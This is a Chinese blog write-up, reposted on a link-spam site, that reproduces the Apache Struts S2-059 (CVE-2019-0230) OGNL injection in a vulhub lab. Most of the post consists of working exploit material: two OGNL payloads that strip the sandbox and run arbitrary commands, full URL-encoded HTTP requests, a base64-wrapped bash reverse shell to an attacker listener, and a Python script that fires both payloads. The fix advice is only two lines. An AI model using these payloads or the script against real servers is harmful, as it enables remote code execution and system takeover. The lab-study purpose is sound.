当前位置: 首页 > wzjs >正文

上海企业网站建设免费注册个人网站

上海企业网站建设,免费注册个人网站,网站建设安全问题,为什么网站在本地看没问题上传之后没有内容呢?🍬 博主介绍 👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入s2-059环境
    • 2、启动s2-059环境
    • 3、查看s2-059环境
    • 4、访问s2-059环境
    • 5、查看s2-059漏洞提示信息
    • 6、关闭s2-059环境
  • 五、漏洞复现
    • 1、验证漏洞存在
    • 2、POC
      • 1.POC1
  • 3、在/tmp目录下创建PowerShell.txt文件
    • 1.构造请求包执行POC1
    • 2.构造请求包执行POC2
    • 3.文件创建成功
  • 六、getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.exec编码
      • 3.构造payload
      • 4.url编码
      • 5.使用bp重放攻击执行命令
  • 3、getshell成功
  • 七、python脚本
  • 八、漏洞修复
  • 九、相关资源

一、漏洞编号

s2-059
CVE-2019-0230

二、影响范围

Apache Struts 2.0.0-2.5.20

三、漏洞描述

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

四、环境搭建

1、进入s2-059环境

cd vulhub/struts2/s2-059

在这里插入图片描述

2、启动s2-059环境

docker-compose up -d

在这里插入图片描述

3、查看s2-059环境

docker-compose ps

在这里插入图片描述

4、访问s2-059环境

http://ip:端口/

http://192.168.233.128:8080/

在这里插入图片描述

5、查看s2-059漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭s2-059环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、验证漏洞存在

http://ip:8080/?id=漏洞点
做一个简单的计算,看会不会执行,只要执行了,那么漏洞就存在

http://192.168.233.128:8080/?id=%25{111*2}

直接访问,可以发现执行的111+222成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。
且我们可以在源代码中查看其值,证明漏洞确实存在。

在这里插入图片描述

2、POC

这里需要用到两POC

1.POC1

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
### 2.POC2
```bash
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('命令'))}

3、在/tmp目录下创建PowerShell.txt文件

1.构造请求包执行POC1

记得要对POC进行url编码,我这里就不详细编写了,编码工具我在文末给出。
需要执行完POC1,POC2才能生效,才能实现任意命令执行。

GET /?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D HTTP/1.1
Host: 192.168.233.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0azratig83axx86y1goqn3tpf0.node0
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

在这里插入图片描述

2.构造请求包执行POC2

因为是没有回显的,所以我们创建一个文件,直接在exec后面接touch /tmp/PowerShell.txt就行,记得要进行url编码。

GET /?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('touch%20%2Ftmp%2FPowerShell.txt'))%7D HTTP/1.1
Host: 192.168.233.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0azratig83axx86y1goqn3tpf0.node0
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

在这里插入图片描述

3.文件创建成功

进入容器查看确认文件创建成功

docker ps
docker exec -it 容器ID /bin/bash
ls /tmp

在这里插入图片描述

六、getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash -i >& /dev/tcp/192.168.233.1/55555 0>&1

2.exec编码

编码工具在文末给出

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

3.构造payload

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))}

4.url编码

Get型需要进行url编码,编码工具在文末给出

%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%2520-c%2520%257Becho%252CYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA%252BJjE%253D%257D%257C%257Bbase64%252C-d%257D%257C%257Bbash%252C-i%257D'))%7D

5.使用bp重放攻击执行命令

我们前面执行过POC1了,我们这里就只执行了POC2。

GET /?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))%7D HTTP/1.1
Host: 192.168.233.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0azratig83axx86y1goqn3tpf0.node0
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

在这里插入图片描述

3、getshell成功

等一会儿之后发现shell反弹过来了

在这里插入图片描述

执行ls /tmp发现我们之前创建的文件

在这里插入图片描述

七、python脚本

这个python脚本会跑两个上面我们用到的两个POC,我们只需要修改data2中的命令就可以实现任意命令执行,这里我就不详细描述了,可以自己尝试一下。

import requests
url = "http://192.168.233.128:8080"
data1 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch 命令'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

八、漏洞修复

1.升级到最新版本
2.开启ONGL表达式注入保护措施。

九、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具
7、Url编码工具

http://www.dtcms.com/wzjs/204338.html

相关文章:

  • 杭州网站建设推荐软件开发外包平台
  • 河北建设网工程信息网百度推广优化中心
  • 学校门户网站软文时光发稿平台
  • 织梦网站建设培训网络推广产品要给多少钱
  • 浦东网站建设哪家好广州seo网站排名
  • 彩票app开发制作多少钱有名的seo外包公司
  • 个体工商户经营范围做网站网络营销培训课程
  • 网站关键词多少个友链购买有效果吗
  • wordpress记录高级seo培训
  • 自适应网站建设哪家便宜长沙seo步骤
  • 注册网站不需要手机验证的免费发外链平台
  • 重生做代购网站腾讯云域名注册官网
  • 青岛网站设计如何做百度网址查询
  • 网站建设买什么书软件开发公司推荐
  • 做色流网站服务器互联网广告行业分析
  • 衡阳企业seo优化费用宁波专业seo外包
  • 哈尔滨旅游网页设计福州seo顾问
  • 网站检索功能怎么做呢sem是什么仪器
  • web软件开发工具seo手机搜索快速排名
  • 2019做网站赚钱么山西优化公司
  • .net网站开发书关键字排名优化工具
  • 无锡宜兴网站建设专业关键词优化平台
  • 临朐网站建设建站网站快速排名优化
  • 长沙网站优化排名推广360搜图片识图
  • 个人承接网站开发服务互联网推广渠道有哪些
  • 做一个平台网站大概多少钱哈尔滨seo优化软件
  • wordpress调用taxonomy优化设计方法
  • 大帮手网站建设网络营销的概述
  • 如何做网站限制策略软文怎么做
  • 网站建设团队介绍怎么写网站设计制作哪家好